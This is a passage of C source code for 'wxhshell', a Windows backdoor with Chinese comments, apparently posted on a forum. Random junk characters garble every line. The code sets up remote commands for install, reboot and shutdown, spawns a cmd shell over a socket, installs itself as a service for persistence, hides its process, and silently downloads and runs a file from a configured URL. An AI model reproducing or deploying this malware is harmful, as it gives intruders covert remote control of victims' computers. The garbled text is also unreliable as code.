      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~WW!P_wI,  
    break; fe3a_gYPz  
  } \ cr)O^&  
  // 安装 (i1q".  
  case 'i': { ,6EFJVu \  
    if(Install()) @'> Ul!.]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )8JfBzR  
    else qlNB\~HCe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,SF>$ .  
    break; )Y](Mj!D  
    } EK%J%NY  
  // 卸载 ~_]i'ii8  
  case 'r': { r,r"?}Z  
    if(Uninstall()) ty>9i]Y-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u[<ij  
    else 1C5~GI`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JYK 4/gJ  
    break; EJid@  
    } >4^,[IO/  
  // 显示 wxhshell 所在路径 $ dR@Q?_{  
  case 'p': { INRP@Cp1  
    char svExeFile[MAX_PATH]; U&'Xs z  
    strcpy(svExeFile,"\n\r"); 8+n *S$  
      strcat(svExeFile,ExeFile); 0hpU9w}12  
        send(wsh,svExeFile,strlen(svExeFile),0); &-c{  
    break; tJa*(%Z?f  
    } \hO}3;*&  
  // 重启 c$n`=NI  
  case 'b': { X 2Zp @q(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p6&6^v\  
    if(Boot(REBOOT)) +Y_]<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aJzyEb  
    else { "MPr'3  
    closesocket(wsh); f5`q9w_c  
    ExitThread(0); q |Orv =v  
    } @#>YU  
    break; tE$oV  
    } 2~ y<l  
  // 关机 5M? I-m  
  case 'd': { Ge=|RAw3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )~{8C:  
    if(Boot(SHUTDOWN)) *?x[pqGq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VD90JU]X<  
    else { m5%E1k$=  
    closesocket(wsh); TNF+yj-|X:  
    ExitThread(0); ,R7RXpP7t  
    } l,k.Jo5  
    break; aE2Yl  
    } FwpTQix!  
  // 获取shell q71V]!  
  case 's': { ,KaO8^PB  
    CmdShell(wsh); A2%RcKY7  
    closesocket(wsh); [l*;+N+  
    ExitThread(0); k0IztFyj:R  
    break; ,CP&o  
  } c{{RP6o/j=  
  // 退出 }PX8#C_P  
  case 'x': {  (2dkmn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4CK$W` V  
    CloseIt(wsh); >f:OU,"  
    break; Dq<!wtFG[  
    } KSR'X0'  
  // 离开 %g7B*AX]  
  case 'q': { IQyw>_~]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -cB>; f)5r  
    closesocket(wsh); yaK4% k  
    WSACleanup(); ZJOO*S  
    exit(1); 4<S=KFT_  
    break; uX8G<7O^  
        } bI:cYn1  
  } yhxZ^ (I  
  } 5iZ;7 ?(  
XSktb k  
  // 提示信息 xP5Z -eL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _YA;Nd#%k  
} v4W<_ 7L_  
  } -f=4\3y3p  
>$_@p(w  
  return; :Y[?@/m4  
} ,Ad{k   
DC,]FmWs!+  
// shell模块句柄 ?dQ#%06mn  
int CmdShell(SOCKET sock) wQrD(Dv(yA  
{ */ok]kX'  
STARTUPINFO si; Yzih-$g  
ZeroMemory(&si,sizeof(si)); ;s w3MRJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @ iaz_;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FfibR\dhY  
PROCESS_INFORMATION ProcessInfo; Z]k+dJ[-  
char cmdline[]="cmd"; r=ht:+m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .!Q?TSQ+{!  
  return 0; >5bd !b,  
} "kg?Or.  
7=@Mn F`  
// 自身启动模式 l~$Od jf  
int StartFromService(void) ufXU  
{ Vf` 9[*j  
typedef struct z1~FE  
{ @EGUQ|WL^  
  DWORD ExitStatus; r]O8|#P,Z$  
  DWORD PebBaseAddress; =d1R9O  
  DWORD AffinityMask; zHt}`>y&  
  DWORD BasePriority; R\>=}7  
  ULONG UniqueProcessId; KGsW*G4U=  
  ULONG InheritedFromUniqueProcessId; U?yKwH^{  
}   PROCESS_BASIC_INFORMATION; 4e9'yi  
#{Gojg`5O  
PROCNTQSIP NtQueryInformationProcess; KI8Q =*  
F(+dX4$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Wr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; he1OLk  
]x`I@vSf7R  
  HANDLE             hProcess; \:d|'r8OCM  
  PROCESS_BASIC_INFORMATION pbi; 2ZZF hj  
b}5hqIy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]QK@zb}x  
  if(NULL == hInst ) return 0; Jz'8|o;^  
ZHW|P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); % .n 7+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'UL"yM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oB]   
WMXk-?v4  
  if (!NtQueryInformationProcess) return 0; Q.]RYv}\  
SSG}'W!z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a]u1_ $)  
  if(!hProcess) return 0; =_Y#uE$  
Q )b*; @  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =lqBRut  
wa}\bNKQk  
  CloseHandle(hProcess); >"q~9b A  
.}zpvr8YP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _& qM^  
if(hProcess==NULL) return 0; .ko}m{  
9x0Ao*D<t  
HMODULE hMod; -Y"'=zkO  
char procName[255]; p4-bD_  
unsigned long cbNeeded; yhi6RDS  
V`MV_zA2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s=xJcLA  
{_i.IPp~  
  CloseHandle(hProcess); ;+/[<bvd"  
CH/*MA  
if(strstr(procName,"services")) return 1; // 以服务启动 "L p"o  
'/"xMpN4  
  return 0; // 注册表启动 yIdM2#`u  
} /6%<97/d  
ORo +=2  
// 主模块 =_/,C  
int StartWxhshell(LPSTR lpCmdLine) ]%K 8  
{ cNd2XQB9=  
  SOCKET wsl; 68^5X"OGF  
BOOL val=TRUE; 'r5[tK}  
  int port=0; faVR %  
  struct sockaddr_in door; > CPJp!u  
jBvZ>H+w~  
  if(wscfg.ws_autoins) Install(); nPj+mg  
'5mzlR  
port=atoi(lpCmdLine); !%x=o&  
&@dW d  
if(port<=0) port=wscfg.ws_port; Z-!W#   
`euk&]/^.)  
  WSADATA data; wb>>bV+U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -k19BDJ,W  
Ij_VO{]G'l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l|[8'*]r!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cXO_g!&2A  
  door.sin_family = AF_INET; &&w7-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %0PZZl5b  
  door.sin_port = htons(port); "KY9MBzPD  
.kT5 4U;{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TT429  
closesocket(wsl); "Iy @PR?>  
return 1; ZU&I`q|Y6  
} _J51 :pi  
eTc0u;{V  
  if(listen(wsl,2) == INVALID_SOCKET) { 9^m&  [Z  
closesocket(wsl); lrSo@JQ  
return 1; z/7H/~d  
} a$c7d~p$I  
  Wxhshell(wsl); 7CGKm8T  
  WSACleanup(); Aa5IccR  
Fc;)p88[  
return 0; Te"<.0~1  
8KpG0DC  
} 877>=Tp |  
K5Fzmo a  
// 以NT服务方式启动 A$RN7#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (U/xpj}  
{ bID'r}55  
DWORD   status = 0; .E_`*[ 5=  
  DWORD   specificError = 0xfffffff; GA6)O-^G  
%Gn(b 1X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,\5]n&T;r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S ~lw5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j0sR]i  
  serviceStatus.dwWin32ExitCode     = 0; r+HJ_R,5A  
  serviceStatus.dwServiceSpecificExitCode = 0; J4te!,  
  serviceStatus.dwCheckPoint       = 0; -aGv#!aIl  
  serviceStatus.dwWaitHint       = 0; f#414ja  
`S Wf)1K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K}O~tff  
  if (hServiceStatusHandle==0) return; #]I:}Q51  
Z{RgpVt  
status = GetLastError(); t09,X  
  if (status!=NO_ERROR) MQ"<r,o?:  
{ mxjY-Kq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |mrAvm}  
    serviceStatus.dwCheckPoint       = 0; -4b9(  
    serviceStatus.dwWaitHint       = 0; lN1T\  
    serviceStatus.dwWin32ExitCode     = status; $$ \| 3rj!  
    serviceStatus.dwServiceSpecificExitCode = specificError; G <m{o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q{c6DCc]\  
    return; hdN3r{  
  } ,Mc}U9)F  
bM8b3, }?n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RKIqg4>E  
  serviceStatus.dwCheckPoint       = 0; <H)h+?&~d  
  serviceStatus.dwWaitHint       = 0; P 2;j>=W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qd]-i3^0  
} Old5E&  
M&@9B)|=  
// 处理NT服务事件,比如:启动、停止 Abce]-E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WJe  
{ vyqlP;K  
switch(fdwControl) ^l_W9s  
{ 61T"K  
case SERVICE_CONTROL_STOP: Y cO tPS%  
  serviceStatus.dwWin32ExitCode = 0; "S#0QH%5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^#exs Xy  
  serviceStatus.dwCheckPoint   = 0; sKjg)3Sl  
  serviceStatus.dwWaitHint     = 0; nb'],({:9  
  { Qo)>i0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^5u}   
  } L !yl^c  
  return; SLz^Wg._  
case SERVICE_CONTROL_PAUSE: *8js{G0h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6E@r9U  
  break; s qac>v  
case SERVICE_CONTROL_CONTINUE: &^qD<eZ!Eq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #(bMZ!/(  
  break; `6 lc]r  
case SERVICE_CONTROL_INTERROGATE: #i.M-6SRd  
  break; t 7;V`[  
}; L4}C%c\p*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8*4X%a=Of  
} vYmRW-1Zxq  
FL0(q>$*8  
// 标准应用程序主函数 yZ6560(q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A#2 Fd7&  
{ n`0}g_\q  
3boINmX  
// 获取操作系统版本 +Medu?K `  
OsIsNt=GetOsVer(); |nz,srr~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gnj|y?'  
D19uI&U4  
  // 从命令行安装 #=7~.Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); sqJ?dIBH  
*'PG@S  
  // 下载执行文件 Jan73AOX  
if(wscfg.ws_downexe) { '(&.[Pk:"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Yl9%x]3c  
  WinExec(wscfg.ws_filenam,SW_HIDE); "J%u !~  
} <d$|~qS_  
LurBqr  
if(!OsIsNt) { h&[]B*BLr  
// 如果时win9x,隐藏进程并且设置为注册表启动 N!/^s":  
HideProc(); z930Wi{@  
StartWxhshell(lpCmdLine); ?o),F^ir  
} ,V.X-`Y  
else 5sFp+_``  
  if(StartFromService()) %@kmuz??  
  // 以服务方式启动 uUwwR(R  
  StartServiceCtrlDispatcher(DispatchTable); PRWS[2[yk  
else #r#UO  
  // 普通方式启动 ^0ipM/Lg  
  StartWxhshell(lpCmdLine); ~F+{P4%`<  
vUvIZa  
return 0; aJOhji<b#L  
}
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只看该作者 1 发表于: 2006-10-10
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